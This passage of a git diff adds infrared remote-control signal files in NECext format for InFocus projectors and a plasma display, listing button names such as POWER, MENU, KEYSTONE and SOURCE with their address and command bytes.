3B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: CF 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D0 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D1 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D2 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D3 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D4 00 00 00 +# +name: 9B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D5 00 00 00 +# +name: 0B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir new file mode 100644 index 000000000..7ddef0df4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: ANT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 56 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 59 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 90 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: CH_CONTROL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E5 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir new file mode 100644 index 000000000..7835426ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: RESET +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 82 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 83 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 84 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 85 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 86 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 87 00 00 00 +# +name: FAV+- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 89 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 90 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 91 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 92 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 93 00 00 00 +# +name: AUDIO_SOURCE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 94 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 96 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 97 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 98 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 9C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 9D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 9F 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C0 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C4 00 00 00 +# +name: CH+- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C8 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CC 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: D0 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: D4 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: D9 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: DC 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir new file mode 100644 index 000000000..1e3435f17 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0E 00 00 00 +# +name: SOURSE_SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: KEYSTONE_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 20 00 00 00 +# +name: KEYSTONE_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 21 00 00 00 +# +name: PRESETS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2D 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 31 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 32 00 00 00 +# +name: AUTO_IMAGE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 33 00 00 00 +# +name: RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 34 00 00 00 +# +name: OVERSCAN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 35 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 37 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 39 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3A 00 00 00 +# +name: NATIVE_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3B 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3C 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3D 00 00 00 +# +name: LETTERBOX +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3E 00 00 00 +# +name: NATURAL_WIDE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3F 00 00 00 +# +name: USER_PRESET_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 40 00 00 00 +# +name: USER_PRESET_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 41 00 00 00 +# +name: USER_PRESET_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir new file mode 100644 index 000000000..d062729a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 81 00 00 00 +# +name: source +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 83 00 00 00 +# +name: keystone_dec +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 84 00 00 00 +# +name: keystone_inc +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 85 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 86 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 87 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: C1 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: C2 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: C3 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: C4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: C5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir new file mode 100644 index 000000000..c4cb11396 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: Brightness-Up +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: Brightness-Down +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: Presets +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: Blank +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 31 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 32 00 00 00 +# +name: AutoImage +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 33 00 00 00 +# +name: Resize +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 34 00 00 00 +# +name: Overscan +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 35 00 00 00 +# +name: Contrast-Up +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: Contrast-Down +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir new file mode 100644 index 000000000..1f8dde854 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: PageN... +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: Brigthness+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 04 00 00 00 +# +name: Brigthness- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 08 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0D 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: Comp +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 19 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir new file mode 100644 index 000000000..c43f058f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir new file mode 100644 index 000000000..94b8e6d51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: NATIVE +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 00 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 01 00 00 00 +# +name: WIDESCREEN +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 02 00 00 00 +# +name: WIDE_ENHANCED +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 03 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 12 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 16 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 17 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 18 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 19 00 00 00 +# +name: PC1_ANALOG +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1A 00 00 00 +# +name: PC1_DIGITAL +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1B 00 00 00 +# +name: COMP_HDTV +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1C 00 00 00 +# +name: COMP_INT. +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1D 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1E 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 1F 00 00 00 +# +name: PC_HDTV +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 40 00 00 00 +# +name: PC_VGA +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir new file mode 100644 index 000000000..9c2005922 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: PICTURE_+ +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 86 00 00 00 +# +name: PICTURE_- +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 87 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 88 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 89 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8A 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8B 00 00 00 +# +name: PICTURE_RESET +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8C 00 00 00 +# +name: FOCUS_PATTERN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8D 00 00 00 +# +name: FOCUS_V +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8E 00 00 00 +# +name: FOCUS_^ +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: AUTO_FOCUS +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: ZOOM_WIDE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 91 00 00 00 +# +name: ZOOM_NARROW +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 92 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir new file mode 100644 index 000000000..8d6c83873 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir @@ -0,0 +1,596 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 00 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 01 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: BRIGHTNESS_> +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: BRITE+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: VOLUME_< +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 04 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 05 00 00 00 +# +name: SCRIBBLE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 06 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: BRIGHTNESS_< +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: BRITE- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: FOCUS_NEAR +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 08 00 00 00 +# +name: VOLUME_> +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 08 00 00 00 +# +name: FOCUS_FAR +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 09 00 00 00 +# +name: LITESHOW +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 09 00 00 00 +# +name: ZOOM_IN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0A 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0A 00 00 00 +# +name: ZOOM_OUT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0D 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0E 00 00 00 +# +name: SOURCE_SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: CURSOR_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: CURSOR_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: HORIZ_OFFSET_LEFT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1B 00 00 00 +# +name: HORIZ_OFFSET_RIGHT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1C 00 00 00 +# +name: VERT_OFFSET_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1D 00 00 00 +# +name: VERT_OFFSET_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1E 00 00 00 +# +name: KEYSTONE_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 20 00 00 00 +# +name: KEYSTONE_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 21 00 00 00 +# +name: CUSTOM +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2B 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: PRESETS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2D 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: SOURCE2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: SOURCE3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: SOURCE4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 31 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 32 00 00 00 +# +name: AUTO_IMAGE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 33 00 00 00 +# +name: RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 34 00 00 00 +# +name: OVERSCAN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 35 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 37 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 39 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3A 00 00 00 +# +name: NATIVE_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3B 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3C 00 00 00 +# +name: 16:9_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3C 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3D 00 00 00 +# +name: 4:3_RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3D 00 00 00 +# +name: LETTERBOX +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3E 00 00 